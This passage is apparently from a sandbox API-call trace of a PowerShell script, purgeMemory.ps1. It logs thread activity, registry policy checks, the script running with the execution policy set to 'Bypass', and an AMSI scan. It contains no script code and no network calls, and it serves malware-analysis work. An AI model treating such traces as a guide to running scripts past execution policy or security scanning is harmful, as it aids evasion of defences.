bAlertable=0) returned 0x0 [0124.589] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.677] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.694] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.710] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.714] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.722] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.724] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.737] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.934] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.784] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0125.816] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.132] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.782] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.857] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.255] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.263] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.270] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.273] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.283] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.286] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.307] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.319] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.322] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.329] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.331] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.354] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.360] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.363] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.372] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.379] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.389] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.401] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.404] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.417] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.430] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.433] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.451] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.461] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.467] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.477] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.493] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.497] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.514] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.521] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.522] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.531] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.534] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.544] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.548] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.561] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.574] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.580] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.589] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.596] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.601] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.604] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.639] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.642] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.644] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.654] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.702] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.707] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0150.204] CoUninitialize () Thread: id = 107 os_tid = 0x1104 [0112.449] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0112.449] CoGetContextToken (in: pToken=0x7d6f80c | out: pToken=0x7d6f80c) returned 0x0 [0112.449] CObjectContext::QueryInterface () returned 0x0 [0112.449] CObjectContext::GetCurrentThreadType () returned 0x0 [0112.449] Release () returned 0x0 [0112.449] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0112.449] CoUninitialize () [0112.449] RoInitialize () returned 0x1 [0112.449] RoUninitialize () returned 0x0 Thread: id = 108 os_tid = 0xbbc [0112.531] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0112.531] RoInitialize () returned 0x1 [0112.531] RoUninitialize () returned 0x0 [0112.532] GetCurrentProcessId () returned 0x1368 [0112.533] EtwEventWriteTransfer (RegHandle=0x313a380, EventDescriptor=0x68, ActivityId=0x7def06c, RelatedActivityId=0x7def01c, UserDataCount=0x0, UserData=0x8) returned 0x0 [0112.533] EtwEventWriteTransfer (RegHandle=0x313a380, EventDescriptor=0x68, ActivityId=0x7def098, RelatedActivityId=0x7def048, UserDataCount=0x0, UserData=0x2) returned 0x0 [0112.534] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x710 [0112.537] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_Disabled", lpBuffer=0x7dee7cc, nSize=0x80 | out: lpBuffer="က熝\x01") returned 0x0 [0112.537] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_MinCount", lpBuffer=0x7dee7cc, nSize=0x80 | out: lpBuffer="က熝\x01") returned 0x0 [0112.539] EtwEventRegister (in: ProviderId=0x5470ac4, EnableCallback=0x74d2cb6, CallbackContext=0x0, RegHandle=0x5470aa0 | out: RegHandle=0x5470aa0) returned 0x0 [0112.539] EtwEventSetInformation (RegHandle=0x779de40, InformationClass=0x70, EventInformation=0x2, InformationLength=0x5470a68) returned 0x0 [0112.541] ConnectNamedPipe (in: hNamedPipe=0x744, lpOverlapped=0x5470cac | out: lpOverlapped=0x5470cac) returned 0 Thread: id = 110 os_tid = 0x10bc Thread: id = 111 os_tid = 0x788 [0115.423] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0115.650] CoGetContextToken (in: pToken=0x7f6f8c4 | out: pToken=0x7f6f8c4) returned 0x0 [0115.650] CObjectContext::QueryInterface () returned 0x0 [0115.650] CObjectContext::GetCurrentThreadType () returned 0x0 [0115.650] Release () returned 0x0 [0115.650] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0115.650] CoUninitialize () [0115.650] RoInitialize () returned 0x1 [0115.650] RoUninitialize () returned 0x0 [0115.650] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.741] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.847] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.938] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.985] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.080] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.271] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.362] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.423] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.516] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.626] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.743] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.796] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.924] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.001] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.083] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0117.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 Thread: id = 113 os_tid = 0xf9c [0116.096] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0116.097] RoInitialize () returned 0x1 [0116.097] RoUninitialize () returned 0x0 [0116.098] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x893f3dc*=0x7f0, lpdwindex=0x893f1fc | out: lpdwindex=0x893f1fc) returned 0x0 [0116.428] SetThreadUILanguage (LangId=0x0) returned 0x2f50409 [0116.536] EtwEventRegister (in: ProviderId=0x56eb4a8, EnableCallback=0x74d2e06, CallbackContext=0x0, RegHandle=0x56eb484 | out: RegHandle=0x56eb484) returned 0x0 [0116.536] EtwEventSetInformation (RegHandle=0x779f430, InformationClass=0x78, EventInformation=0x2, InformationLength=0x56eb454) returned 0x0 [0116.537] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893f060, nSize=0x80 | out: lpBuffer="࢓檀猭￿￿姗狣嬒狣똔ծ") returned 0x0 [0116.541] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1")) returned 0x20 [0116.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x104, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0116.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893f06c) returned 1 [0116.543] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1"), fInfoLevelId=0x0, lpFileInformation=0x893f0e8 | out: lpFileInformation=0x893f0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d963c24, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d963c24, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x8d43954e, ftLastWriteTime.dwHighDateTime=0x1d55e57, nFileSizeHigh=0x0, nFileSizeLow=0x204a)) returned 1 [0116.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893f068) returned 1 [0116.544] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1")) returned 0x20 [0116.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0116.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0116.544] CoTaskMemAlloc (cb=0x20c) returned 0x77ddad0 [0116.544] GetSystemDirectoryW (in: lpBuffer=0x77ddad0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.544] CoTaskMemFree (pv=0x77ddad0) [0116.544] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.544] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893ef80) returned 1 [0116.544] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x893effc | out: lpFileInformation=0x893effc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893ef7c) returned 1 [0116.544] GetSystemInfo (in: lpSystemInfo=0x893f030 | out: lpSystemInfo=0x893f030*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.545] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x893efc0 | out: phkResult=0x893efc0*=0x820) returned 0x0 [0116.545] RegQueryValueExW (in: hKey=0x820, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x893efdc, lpData=0x0, lpcbData=0x893efd8*=0x0 | out: lpType=0x893efdc*=0x0, lpData=0x0, lpcbData=0x893efd8*=0x0) returned 0x2 [0116.545] RegCloseKey (hKey=0x820) returned 0x0 [0116.547] EtwEventRegister (in: ProviderId=0x56f07fc, EnableCallback=0x74d2e2e, CallbackContext=0x0, RegHandle=0x56f07d8 | out: RegHandle=0x56f07d8) returned 0x0 [0116.547] EtwEventSetInformation (RegHandle=0x779f508, InformationClass=0x79, EventInformation=0x2, InformationLength=0x56f07b0) returned 0x0 [0116.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0116.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0116.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893f09c) returned 1 [0116.548] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1"), fInfoLevelId=0x0, lpFileInformation=0x56f0874 | out: lpFileInformation=0x56f0874*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d963c24, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d963c24, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x8d43954e, ftLastWriteTime.dwHighDateTime=0x1d55e57, nFileSizeHigh=0x0, nFileSizeLow=0x204a)) returned 1 [0116.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893f098) returned 1 [0116.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0116.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0116.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893f05c) returned 1 [0116.548] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1"), fInfoLevelId=0x0, lpFileInformation=0x893f0d8 | out: lpFileInformation=0x893f0d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d963c24, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d963c24, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x8d43954e, ftLastWriteTime.dwHighDateTime=0x1d55e57, nFileSizeHigh=0x0, nFileSizeLow=0x204a)) returned 1 [0116.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893f058) returned 1 [0116.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0116.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0116.549] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x893f020 | out: phkResult=0x893f020*=0x0) returned 0x2 [0116.550] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x893f020 | out: phkResult=0x893f020*=0x0) returned 0x2 [0116.550] GetEnvironmentVariableW (in: lpName="PSExecutionPolicyPreference", lpBuffer=0x893ef60, nSize=0x80 | out: lpBuffer="Bypass") returned 0x6 [0116.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0116.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0116.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893f06c) returned 1 [0116.551] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0116.551] GetFileType (hFile=0x824) returned 0x1 [0116.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893f068) returned 1 [0116.551] GetFileType (hFile=0x824) returned 0x1 [0116.556] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x893f0a8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x893f0a8*=0) returned 0x0 [0116.556] ReadFile (in: hFile=0x824, lpBuffer=0x56f1ee4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x893f0d4, lpOverlapped=0x0 | out: lpBuffer=0x56f1ee4*, lpNumberOfBytesRead=0x893f0d4*=0x1000, lpOverlapped=0x0) returned 1 [0116.557] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x893f0a8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x893f0a8*=0) returned 0x1000 [0116.557] ReadFile (in: hFile=0x824, lpBuffer=0x56f1ee4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x893f0d4, lpOverlapped=0x0 | out: lpBuffer=0x56f1ee4*, lpNumberOfBytesRead=0x893f0d4*=0x1000, lpOverlapped=0x0) returned 1 [0116.557] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x893f0a8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x893f0a8*=0) returned 0x2000 [0116.557] ReadFile (in: hFile=0x824, lpBuffer=0x56f1ee4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x893f0d4, lpOverlapped=0x0 | out: lpBuffer=0x56f1ee4*, lpNumberOfBytesRead=0x893f0d4*=0x4a, lpOverlapped=0x0) returned 1 [0116.557] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x893f0a8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x893f0a8*=0) returned 0x204a [0116.558] ReadFile (in: hFile=0x824, lpBuffer=0x56f1ee4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x893f0d4, lpOverlapped=0x0 | out: lpBuffer=0x56f1ee4*, lpNumberOfBytesRead=0x893f0d4*=0x0, lpOverlapped=0x0) returned 1 [0116.558] CoTaskMemAlloc (cb=0x20c) returned 0x77ddad0 [0116.558] GetSystemDirectoryW (in: lpBuffer=0x77ddad0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0116.558] CoTaskMemFree (pv=0x77ddad0) [0116.558] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0116.558] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0116.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893f008) returned 1 [0116.558] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x893f084 | out: lpFileInformation=0x893f084*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0116.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893f004) returned 1 [0116.558] GetSystemInfo (in: lpSystemInfo=0x893f0b8 | out: lpSystemInfo=0x893f0b8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0116.558] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x893f048 | out: phkResult=0x893f048*=0x82c) returned 0x0 [0116.559] RegQueryValueExW (in: hKey=0x82c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x893f064, lpData=0x0, lpcbData=0x893f060*=0x0 | out: lpType=0x893f064*=0x0, lpData=0x0, lpcbData=0x893f060*=0x0) returned 0x2 [0116.559] RegCloseKey (hKey=0x82c) returned 0x0 [0116.559] CloseHandle (hObject=0x824) returned 1 [0116.644] DuplicateTokenEx (in: hExistingToken=0x824, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x893f150 | out: phNewToken=0x893f150*=0x82c) returned 1 [0116.644] CheckTokenMembership (in: TokenHandle=0x82c, SidToCheck=0x5723c6c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x893f160 | out: IsMember=0x893f160) returned 1 [0116.644] CloseHandle (hObject=0x82c) returned 1 [0116.658] QueryPerformanceCounter (in: lpPerformanceCount=0x893f15c | out: lpPerformanceCount=0x893f15c*=20878989113) returned 1 [0116.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0116.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0116.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893f090) returned 1 [0116.659] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\purgememory.ps1"), fInfoLevelId=0x0, lpFileInformation=0x893f10c | out: lpFileInformation=0x893f10c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d963c24, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d963c24, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x8d43954e, ftLastWriteTime.dwHighDateTime=0x1d55e57, nFileSizeHigh=0x0, nFileSizeLow=0x204a)) returned 1 [0116.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893f08c) returned 1 [0116.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x28 [0116.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", nBufferLength=0x28, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\purgeMemory.ps1", lpFilePart=0x0) returned 0x27 [0116.661] AmsiOpenSession () returned 0x0 [0116.661] AmsiScanString () returned 0x80070015 [0117.416] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x893f2b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893f2b8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x34, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0117.416] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893f224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893f224*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x33, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, 